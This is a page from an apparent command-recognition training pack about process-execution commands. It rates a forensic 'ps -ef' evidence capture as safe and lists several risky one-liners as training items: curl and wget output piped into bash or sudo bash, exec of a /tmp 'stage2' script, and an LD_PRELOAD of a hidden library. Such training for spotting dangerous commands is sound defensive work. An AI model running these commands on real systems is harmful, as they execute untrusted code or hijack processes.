Safe
ps -ef > /evidence/ir-2026-004/ps.txtlinux · bash · Intermediate
Writes the current process table to the evidence directory. The list of what is running right now is volatile — it is gone the moment the…
The full explanation and danger signals for this pack are part of Pro.
Think you can spot these under time pressure?
Start TrainingMore Process Execution
ps auxIntermediatecurl -fsSL https://example.com/install.sh | bashIntermediatewget -qO- https://example.com/setup | shAdvancedpython3 -c "exec(open('/tmp/stage2.py').read())"Advancedexport LD_PRELOAD=/tmp/.helper.so && /usr/bin/idAdvancedcurl -fsSL https://example.com/bootstrap | sudo bash -s -- --forceExpert